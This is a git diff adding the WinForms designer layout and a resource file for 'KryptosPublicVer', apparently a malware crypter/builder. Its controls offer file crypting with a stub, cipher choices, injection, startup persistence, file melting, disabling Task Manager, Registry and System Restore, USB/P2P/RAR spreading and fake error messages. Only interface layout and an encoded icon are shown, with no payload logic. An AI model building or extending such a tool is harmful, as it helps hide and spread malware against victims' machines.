Me.startup.Name = "startup" + Me.startup.NoRounding = False + Me.startup.Size = New System.Drawing.Size(126, 16) + Me.startup.TabIndex = 5 + Me.startup.Text = "Add To Startup" + Me.startup.Transparent = False + ' + 'inject + ' + Me.inject.CheckedState = False + Bloom81.Name = "CheckBorderOut" + Bloom81.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom82.Name = "CheckBorderIn" + Bloom82.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom83.Name = "TextColor" + Bloom83.Value = System.Drawing.Color.LightBlue + Bloom84.Name = "CheckBack1" + Bloom84.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom85.Name = "CheckBack2" + Bloom85.Value = System.Drawing.Color.LightBlue + Bloom86.Name = "CheckFore1" + Bloom86.Value = System.Drawing.Color.LightBlue + Bloom87.Name = "CheckFore2" + Bloom87.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom88.Name = "ColorUncheck" + Bloom88.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom89.Name = "BackColor" + Bloom89.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.inject.Colors = New KryptosPublicVer.Bloom() {Bloom81, Bloom82, Bloom83, Bloom84, Bloom85, Bloom86, Bloom87, Bloom88, Bloom89} + Me.inject.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.inject.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.inject.Image = Nothing + Me.inject.Location = New System.Drawing.Point(13, 54) + Me.inject.MaximumSize = New System.Drawing.Size(600, 16) + Me.inject.MinimumSize = New System.Drawing.Size(16, 16) + Me.inject.Name = "inject" + Me.inject.NoRounding = False + Me.inject.Size = New System.Drawing.Size(118, 16) + Me.inject.TabIndex = 4 + Me.inject.Text = "Injection" + Me.inject.Transparent = False + ' + 'melt + ' + Me.melt.CheckedState = False + Bloom90.Name = "CheckBorderOut" + Bloom90.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom91.Name = "CheckBorderIn" + Bloom91.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom92.Name = "TextColor" + Bloom92.Value = System.Drawing.Color.LightBlue + Bloom93.Name = "CheckBack1" + Bloom93.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom94.Name = "CheckBack2" + Bloom94.Value = System.Drawing.Color.LightBlue + Bloom95.Name = "CheckFore1" + Bloom95.Value = System.Drawing.Color.LightBlue + Bloom96.Name = "CheckFore2" + Bloom96.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom97.Name = "ColorUncheck" + Bloom97.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom98.Name = "BackColor" + Bloom98.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.melt.Colors = New KryptosPublicVer.Bloom() {Bloom90, Bloom91, Bloom92, Bloom93, Bloom94, Bloom95, Bloom96, Bloom97, Bloom98} + Me.melt.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.melt.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.melt.Image = Nothing + Me.melt.Location = New System.Drawing.Point(13, 32) + Me.melt.MaximumSize = New System.Drawing.Size(600, 16) + Me.melt.MinimumSize = New System.Drawing.Size(16, 16) + Me.melt.Name = "melt" + Me.melt.NoRounding = False + Me.melt.Size = New System.Drawing.Size(118, 16) + Me.melt.TabIndex = 3 + Me.melt.Text = "Melt File" + Me.melt.Transparent = False + ' + 'CyberGroupBox3 + ' + Me.CyberGroupBox3.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox3.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox3.Controls.Add(Me.RC4Radio) + Me.CyberGroupBox3.Controls.Add(Me.desradio) + Me.CyberGroupBox3.Controls.Add(Me.polystairsradio) + Me.CyberGroupBox3.Controls.Add(Me.xorradio) + Me.CyberGroupBox3.Controls.Add(Me.AESRadio) + Me.CyberGroupBox3.Customization = "" + Me.CyberGroupBox3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox3.Image = Nothing + Me.CyberGroupBox3.Location = New System.Drawing.Point(12, 182) + Me.CyberGroupBox3.Movable = True + Me.CyberGroupBox3.Name = "CyberGroupBox3" + Me.CyberGroupBox3.NoRounding = False + Me.CyberGroupBox3.Sizable = True + Me.CyberGroupBox3.Size = New System.Drawing.Size(168, 101) + Me.CyberGroupBox3.TabIndex = 6 + Me.CyberGroupBox3.Text = "Cipher" + Me.CyberGroupBox3.TextSub = Nothing + Me.CyberGroupBox3.TransparencyKey = System.Drawing.Color.Empty + ' + 'RC4Radio + ' + Me.RC4Radio.AutoSize = True + Me.RC4Radio.ForeColor = System.Drawing.Color.LightBlue + Me.RC4Radio.Location = New System.Drawing.Point(13, 55) + Me.RC4Radio.Name = "RC4Radio" + Me.RC4Radio.Size = New System.Drawing.Size(57, 17) + Me.RC4Radio.TabIndex = 5 + Me.RC4Radio.Text = "ARC4" + Me.RC4Radio.UseVisualStyleBackColor = True + ' + 'desradio + ' + Me.desradio.AutoSize = True + Me.desradio.Checked = True + Me.desradio.ForeColor = System.Drawing.Color.LightBlue + Me.desradio.Location = New System.Drawing.Point(80, 55) + Me.desradio.Name = "desradio" + Me.desradio.Size = New System.Drawing.Size(81, 17) + Me.desradio.TabIndex = 3 + Me.desradio.TabStop = True + Me.desradio.Text = "TripleDES" + Me.desradio.UseVisualStyleBackColor = True + ' + 'polystairsradio + ' + Me.polystairsradio.AutoSize = True + Me.polystairsradio.ForeColor = System.Drawing.Color.LightBlue + Me.polystairsradio.Location = New System.Drawing.Point(80, 32) + Me.polystairsradio.Name = "polystairsradio" + Me.polystairsradio.Size = New System.Drawing.Size(82, 17) + Me.polystairsradio.TabIndex = 2 + Me.polystairsradio.Text = "PolyStairs" + Me.polystairsradio.UseVisualStyleBackColor = True + ' + 'xorradio + ' + Me.xorradio.AutoSize = True + Me.xorradio.ForeColor = System.Drawing.Color.LightBlue + Me.xorradio.Location = New System.Drawing.Point(13, 78) + Me.xorradio.Name = "xorradio" + Me.xorradio.Size = New System.Drawing.Size(153, 17) + Me.xorradio.TabIndex = 1 + Me.xorradio.Text = "Symmetric + PolyXOR" + Me.xorradio.UseVisualStyleBackColor = True + ' + 'AESRadio + ' + Me.AESRadio.AutoSize = True + Me.AESRadio.ForeColor = System.Drawing.Color.LightBlue + Me.AESRadio.Location = New System.Drawing.Point(13, 31) + Me.AESRadio.Name = "AESRadio" + Me.AESRadio.Size = New System.Drawing.Size(48, 17) + Me.AESRadio.TabIndex = 0 + Me.AESRadio.Text = "AES" + Me.AESRadio.UseVisualStyleBackColor = True + ' + 'CyberGroupBox2 + ' + Me.CyberGroupBox2.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox2.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox2.Controls.Add(Me.Restore) + Me.CyberGroupBox2.Controls.Add(Me.Edit) + Me.CyberGroupBox2.Controls.Add(Me.Task) + Me.CyberGroupBox2.Customization = "" + Me.CyberGroupBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox2.Image = Nothing + Me.CyberGroupBox2.Location = New System.Drawing.Point(186, 182) + Me.CyberGroupBox2.Movable = True + Me.CyberGroupBox2.Name = "CyberGroupBox2" + Me.CyberGroupBox2.NoRounding = False + Me.CyberGroupBox2.Sizable = True + Me.CyberGroupBox2.Size = New System.Drawing.Size(141, 101) + Me.CyberGroupBox2.TabIndex = 5 + Me.CyberGroupBox2.Text = "Disables" + Me.CyberGroupBox2.TextSub = Nothing + Me.CyberGroupBox2.TransparencyKey = System.Drawing.Color.Empty + ' + 'Restore + ' + Me.Restore.CheckedState = False + Bloom99.Name = "CheckBorderOut" + Bloom99.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom100.Name = "CheckBorderIn" + Bloom100.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom101.Name = "TextColor" + Bloom101.Value = System.Drawing.Color.LightBlue + Bloom102.Name = "CheckBack1" + Bloom102.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom103.Name = "CheckBack2" + Bloom103.Value = System.Drawing.Color.LightBlue + Bloom104.Name = "CheckFore1" + Bloom104.Value = System.Drawing.Color.LightBlue + Bloom105.Name = "CheckFore2" + Bloom105.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom106.Name = "ColorUncheck" + Bloom106.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom107.Name = "BackColor" + Bloom107.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.Restore.Colors = New KryptosPublicVer.Bloom() {Bloom99, Bloom100, Bloom101, Bloom102, Bloom103, Bloom104, Bloom105, Bloom106, Bloom107} + Me.Restore.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.Restore.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.Restore.Image = Nothing + Me.Restore.Location = New System.Drawing.Point(13, 76) + Me.Restore.MaximumSize = New System.Drawing.Size(600, 16) + Me.Restore.MinimumSize = New System.Drawing.Size(16, 16) + Me.Restore.Name = "Restore" + Me.Restore.NoRounding = False + Me.Restore.Size = New System.Drawing.Size(118, 16) + Me.Restore.TabIndex = 2 + Me.Restore.Text = "System Restore" + Me.Restore.Transparent = False + ' + 'Edit + ' + Me.Edit.CheckedState = False + Bloom108.Name = "CheckBorderOut" + Bloom108.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom109.Name = "CheckBorderIn" + Bloom109.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom110.Name = "TextColor" + Bloom110.Value = System.Drawing.Color.LightBlue + Bloom111.Name = "CheckBack1" + Bloom111.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom112.Name = "CheckBack2" + Bloom112.Value = System.Drawing.Color.LightBlue + Bloom113.Name = "CheckFore1" + Bloom113.Value = System.Drawing.Color.LightBlue + Bloom114.Name = "CheckFore2" + Bloom114.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom115.Name = "ColorUncheck" + Bloom115.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom116.Name = "BackColor" + Bloom116.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.Edit.Colors = New KryptosPublicVer.Bloom() {Bloom108, Bloom109, Bloom110, Bloom111, Bloom112, Bloom113, Bloom114, Bloom115, Bloom116} + Me.Edit.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.Edit.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.Edit.Image = Nothing + Me.Edit.Location = New System.Drawing.Point(13, 54) + Me.Edit.MaximumSize = New System.Drawing.Size(600, 16) + Me.Edit.MinimumSize = New System.Drawing.Size(16, 16) + Me.Edit.Name = "Edit" + Me.Edit.NoRounding = False + Me.Edit.Size = New System.Drawing.Size(118, 16) + Me.Edit.TabIndex = 1 + Me.Edit.Text = "Registry Edit" + Me.Edit.Transparent = False + ' + 'Task + ' + Me.Task.CheckedState = False + Bloom117.Name = "CheckBorderOut" + Bloom117.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom118.Name = "CheckBorderIn" + Bloom118.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom119.Name = "TextColor" + Bloom119.Value = System.Drawing.Color.LightBlue + Bloom120.Name = "CheckBack1" + Bloom120.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom121.Name = "CheckBack2" + Bloom121.Value = System.Drawing.Color.LightBlue + Bloom122.Name = "CheckFore1" + Bloom122.Value = System.Drawing.Color.LightBlue + Bloom123.Name = "CheckFore2" + Bloom123.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom124.Name = "ColorUncheck" + Bloom124.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom125.Name = "BackColor" + Bloom125.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.Task.Colors = New KryptosPublicVer.Bloom() {Bloom117, Bloom118, Bloom119, Bloom120, Bloom121, Bloom122, Bloom123, Bloom124, Bloom125} + Me.Task.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.Task.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.Task.Image = Nothing + Me.Task.Location = New System.Drawing.Point(13, 32) + Me.Task.MaximumSize = New System.Drawing.Size(600, 16) + Me.Task.MinimumSize = New System.Drawing.Size(16, 16) + Me.Task.Name = "Task" + Me.Task.NoRounding = False + Me.Task.Size = New System.Drawing.Size(118, 16) + Me.Task.TabIndex = 0 + Me.Task.Text = "Taskmanager" + Me.Task.Transparent = False + ' + 'CyberGroupBox1 + ' + Me.CyberGroupBox1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox1.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox1.Controls.Add(Me.RandBtn) + Me.CyberGroupBox1.Controls.Add(Me.EncKeyText) + Me.CyberGroupBox1.Controls.Add(Me.BtnStub) + Me.CyberGroupBox1.Controls.Add(Me.InputStubText) + Me.CyberGroupBox1.Controls.Add(Me.OpenIconBtn) + Me.CyberGroupBox1.Controls.Add(Me.InputIconText) + Me.CyberGroupBox1.Controls.Add(Me.OpenFileBtn) + Me.CyberGroupBox1.Controls.Add(Me.InputFileText) + Me.CyberGroupBox1.Customization = "" + Me.CyberGroupBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox1.Image = Nothing + Me.CyberGroupBox1.Location = New System.Drawing.Point(12, 33) + Me.CyberGroupBox1.Movable = True + Me.CyberGroupBox1.Name = "CyberGroupBox1" + Me.CyberGroupBox1.NoRounding = False + Me.CyberGroupBox1.Sizable = True + Me.CyberGroupBox1.Size = New System.Drawing.Size(421, 143) + Me.CyberGroupBox1.TabIndex = 3 + Me.CyberGroupBox1.Text = "Server Basics" + Me.CyberGroupBox1.TextSub = Nothing + Me.CyberGroupBox1.TransparencyKey = System.Drawing.Color.Empty + ' + 'RandBtn + ' + Bloom126.Name = "BackColor" + Bloom126.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom127.Name = "TextColor" + Bloom127.Value = System.Drawing.Color.LightBlue + Me.RandBtn.Colors = New KryptosPublicVer.Bloom() {Bloom126, Bloom127} + Me.RandBtn.Cursor = System.Windows.Forms.Cursors.Arrow + Me.RandBtn.Customization = "KCgo/+bYrf8=" + Me.RandBtn.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.RandBtn.Image = Nothing + Me.RandBtn.Location = New System.Drawing.Point(321, 109) + Me.RandBtn.Name = "RandBtn" + Me.RandBtn.NoRounding = False + Me.RandBtn.Size = New System.Drawing.Size(84, 20) + Me.RandBtn.TabIndex = 7 + Me.RandBtn.Text = "Randomize" + Me.RandBtn.Transparent = False + ' + 'EncKeyText + ' + Me.EncKeyText.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.EncKeyText.Customization = "" + Me.EncKeyText.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.EncKeyText.Image = Nothing + Me.EncKeyText.Location = New System.Drawing.Point(13, 109) + Me.EncKeyText.MaximumSize = New System.Drawing.Size(1000, 20) + Me.EncKeyText.MinimumSize = New System.Drawing.Size(100, 20) + Me.EncKeyText.Multilined = False + Me.EncKeyText.Name = "EncKeyText" + Me.EncKeyText.NoRounding = False + Me.EncKeyText.Size = New System.Drawing.Size(302, 20) + Me.EncKeyText.TabIndex = 6 + Me.EncKeyText.Text = "Encryption Key" + Me.EncKeyText.Transparent = False + ' + 'BtnStub + ' + Bloom128.Name = "BackColor" + Bloom128.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom129.Name = "TextColor" + Bloom129.Value = System.Drawing.Color.LightBlue + Me.BtnStub.Colors = New KryptosPublicVer.Bloom() {Bloom128, Bloom129} + Me.BtnStub.Cursor = System.Windows.Forms.Cursors.Arrow + Me.BtnStub.Customization = "KCgo/+bYrf8=" + Me.BtnStub.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.BtnStub.Image = Nothing + Me.BtnStub.Location = New System.Drawing.Point(321, 83) + Me.BtnStub.Name = "BtnStub" + Me.BtnStub.NoRounding = False + Me.BtnStub.Size = New System.Drawing.Size(84, 20) + Me.BtnStub.TabIndex = 5 + Me.BtnStub.Text = "..." + Me.BtnStub.Transparent = False + ' + 'InputStubText + ' + Me.InputStubText.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.InputStubText.Customization = "" + Me.InputStubText.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.InputStubText.Image = Nothing + Me.InputStubText.Location = New System.Drawing.Point(13, 83) + Me.InputStubText.MaximumSize = New System.Drawing.Size(1000, 20) + Me.InputStubText.MinimumSize = New System.Drawing.Size(100, 20) + Me.InputStubText.Multilined = False + Me.InputStubText.Name = "InputStubText" + Me.InputStubText.NoRounding = False + Me.InputStubText.Size = New System.Drawing.Size(302, 20) + Me.InputStubText.TabIndex = 4 + Me.InputStubText.Text = "Browse For A Stub To Use..." + Me.InputStubText.Transparent = False + ' + 'OpenIconBtn + ' + Bloom130.Name = "BackColor" + Bloom130.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom131.Name = "TextColor" + Bloom131.Value = System.Drawing.Color.LightBlue + Me.OpenIconBtn.Colors = New KryptosPublicVer.Bloom() {Bloom130, Bloom131} + Me.OpenIconBtn.Cursor = System.Windows.Forms.Cursors.Arrow + Me.OpenIconBtn.Customization = "KCgo/+bYrf8=" + Me.OpenIconBtn.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.OpenIconBtn.Image = Nothing + Me.OpenIconBtn.Location = New System.Drawing.Point(321, 57) + Me.OpenIconBtn.Name = "OpenIconBtn" + Me.OpenIconBtn.NoRounding = False + Me.OpenIconBtn.Size = New System.Drawing.Size(84, 20) + Me.OpenIconBtn.TabIndex = 3 + Me.OpenIconBtn.Text = "..." + Me.OpenIconBtn.Transparent = False + ' + 'InputIconText + ' + Me.InputIconText.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.InputIconText.Customization = "" + Me.InputIconText.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.InputIconText.Image = Nothing + Me.InputIconText.Location = New System.Drawing.Point(13, 57) + Me.InputIconText.MaximumSize = New System.Drawing.Size(1000, 20) + Me.InputIconText.MinimumSize = New System.Drawing.Size(100, 20) + Me.InputIconText.Multilined = False + Me.InputIconText.Name = "InputIconText" + Me.InputIconText.NoRounding = False + Me.InputIconText.Size = New System.Drawing.Size(302, 20) + Me.InputIconText.TabIndex = 2 + Me.InputIconText.Text = "Browse For An Icon To Use..." + Me.InputIconText.Transparent = False + ' + 'OpenFileBtn + ' + Bloom132.Name = "BackColor" + Bloom132.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom133.Name = "TextColor" + Bloom133.Value = System.Drawing.Color.LightBlue + Me.OpenFileBtn.Colors = New KryptosPublicVer.Bloom() {Bloom132, Bloom133} + Me.OpenFileBtn.Cursor = System.Windows.Forms.Cursors.Arrow + Me.OpenFileBtn.Customization = "KCgo/+bYrf8=" + Me.OpenFileBtn.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.OpenFileBtn.Image = Nothing + Me.OpenFileBtn.Location = New System.Drawing.Point(321, 31) + Me.OpenFileBtn.Name = "OpenFileBtn" + Me.OpenFileBtn.NoRounding = False + Me.OpenFileBtn.Size = New System.Drawing.Size(84, 20) + Me.OpenFileBtn.TabIndex = 1 + Me.OpenFileBtn.Text = "..." + Me.OpenFileBtn.Transparent = False + ' + 'InputFileText + ' + Me.InputFileText.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.InputFileText.Customization = "" + Me.InputFileText.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.InputFileText.Image = Nothing + Me.InputFileText.Location = New System.Drawing.Point(13, 31) + Me.InputFileText.MaximumSize = New System.Drawing.Size(1000, 20) + Me.InputFileText.MinimumSize = New System.Drawing.Size(100, 20) + Me.InputFileText.Multilined = False + Me.InputFileText.Name = "InputFileText" + Me.InputFileText.NoRounding = False + Me.InputFileText.Size = New System.Drawing.Size(302, 20) + Me.InputFileText.TabIndex = 0 + Me.InputFileText.Text = "Browse For A File To Crypt..." + Me.InputFileText.Transparent = False + ' + 'MiniBtn + ' + Bloom134.Name = "BackColor" + Bloom134.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom135.Name = "TextColor" + Bloom135.Value = System.Drawing.Color.LightBlue + Me.MiniBtn.Colors = New KryptosPublicVer.Bloom() {Bloom134, Bloom135} + Me.MiniBtn.Cursor = System.Windows.Forms.Cursors.Arrow + Me.MiniBtn.Customization = "KCgo/+bYrf8=" + Me.MiniBtn.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.MiniBtn.Image = Nothing + Me.MiniBtn.Location = New System.Drawing.Point(357, 0) + Me.MiniBtn.Name = "MiniBtn" + Me.MiniBtn.NoRounding = False + Me.MiniBtn.Size = New System.Drawing.Size(35, 22) + Me.MiniBtn.TabIndex = 1 + Me.MiniBtn.Text = "_" + Me.MiniBtn.Transparent = False + ' + 'CloseBtn + ' + Bloom136.Name = "BackColor" + Bloom136.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom137.Name = "TextColor" + Bloom137.Value = System.Drawing.Color.LightBlue + Me.CloseBtn.Colors = New KryptosPublicVer.Bloom() {Bloom136, Bloom137} + Me.CloseBtn.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CloseBtn.Customization = "KCgo/+bYrf8=" + Me.CloseBtn.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CloseBtn.Image = Nothing + Me.CloseBtn.Location = New System.Drawing.Point(398, 0) + Me.CloseBtn.Name = "CloseBtn" + Me.CloseBtn.NoRounding = False + Me.CloseBtn.Size = New System.Drawing.Size(35, 22) + Me.CloseBtn.TabIndex = 0 + Me.CloseBtn.Text = "X" + Me.CloseBtn.Transparent = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(445, 463) + Me.Controls.Add(Me.CyberTheme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.MinimizeBox = False + Me.Name = "Form1" + Me.CyberTheme1.ResumeLayout(False) + Me.CyberGroupBox7.ResumeLayout(False) + Me.CyberGroupBox6.ResumeLayout(False) + Me.CyberGroupBox5.ResumeLayout(False) + Me.CyberGroupBox4.ResumeLayout(False) + Me.CyberGroupBox3.ResumeLayout(False) + Me.CyberGroupBox3.PerformLayout() + Me.CyberGroupBox2.ResumeLayout(False) + Me.CyberGroupBox1.ResumeLayout(False) + Me.ResumeLayout(False) + + End Sub + Friend WithEvents CyberTheme1 As KryptosPublicVer.CyberTheme + Friend WithEvents CloseBtn As KryptosPublicVer.CyberTopButton + Friend WithEvents MiniBtn As KryptosPublicVer.CyberTopButton + Friend WithEvents CyberGroupBox1 As KryptosPublicVer.CyberGroupBox + Friend WithEvents OpenIconBtn As KryptosPublicVer.CyberButton + Friend WithEvents InputIconText As KryptosPublicVer.CyberTextBox + Friend WithEvents OpenFileBtn As KryptosPublicVer.CyberButton + Friend WithEvents InputFileText As KryptosPublicVer.CyberTextBox + Friend WithEvents BtnStub As KryptosPublicVer.CyberButton + Friend WithEvents InputStubText As KryptosPublicVer.CyberTextBox + Friend WithEvents RandBtn As KryptosPublicVer.CyberButton + Friend WithEvents EncKeyText As KryptosPublicVer.CyberTextBox + Friend WithEvents CyberGroupBox3 As KryptosPublicVer.CyberGroupBox + Friend WithEvents CyberGroupBox2 As KryptosPublicVer.CyberGroupBox + Friend WithEvents Restore As KryptosPublicVer.CyberCheckBox + Friend WithEvents Edit As KryptosPublicVer.CyberCheckBox + Friend WithEvents Task As KryptosPublicVer.CyberCheckBox + Friend WithEvents CyberGroupBox5 As KryptosPublicVer.CyberGroupBox + Friend WithEvents CyberGroupBox4 As KryptosPublicVer.CyberGroupBox + Friend WithEvents antis As KryptosPublicVer.CyberCheckBox + Friend WithEvents startup As KryptosPublicVer.CyberCheckBox + Friend WithEvents inject As KryptosPublicVer.CyberCheckBox + Friend WithEvents melt As KryptosPublicVer.CyberCheckBox + Friend WithEvents AppdataDirec As KryptosPublicVer.CyberTextBox + Friend WithEvents InstallCheck As KryptosPublicVer.CyberCheckBox + Friend WithEvents CryptBtn As KryptosPublicVer.CyberButton + Friend WithEvents CyberButton5 As KryptosPublicVer.CyberButton + Friend WithEvents CyberGroupBox6 As KryptosPublicVer.CyberGroupBox + Friend WithEvents FEMessage As KryptosPublicVer.CyberTextBox + Friend WithEvents FETitle As KryptosPublicVer.CyberTextBox + Friend WithEvents FakeErrorCheck As KryptosPublicVer.CyberCheckBox + Friend WithEvents AESRadio As System.Windows.Forms.RadioButton + Friend WithEvents xorradio As System.Windows.Forms.RadioButton + Friend WithEvents polystairsradio As System.Windows.Forms.RadioButton + Friend WithEvents CyberGroupBox7 As KryptosPublicVer.CyberGroupBox + Friend WithEvents RarCheck As KryptosPublicVer.CyberCheckBox + Friend WithEvents UsbSpread As KryptosPublicVer.CyberCheckBox + Friend WithEvents p2pcheck As KryptosPublicVer.CyberCheckBox + Friend WithEvents desradio As System.Windows.Forms.RadioButton + Friend WithEvents RC4Radio As System.Windows.Forms.RadioButton + +End Class diff --git a/scode (KryptosPublicVer/Form1.resx b/scode (KryptosPublicVer/Form1.resx new file mode 100644 index 0000000..7d99c30 --- /dev/null +++ b/scode (KryptosPublicVer/Form1.resx @@ -0,0 +1,6017 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + + + AAABAAUAAAAAAAEAIAAoIAQAVgAAAICAAAABACAAKAgBAH4gBAAwMAAAAQAgAKglAACmKAUAICAAAAEA + IACoEAAATk4FABAQAAABACAAaAQAAPZeBQAoAAAAAAEAAAACAAABACAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 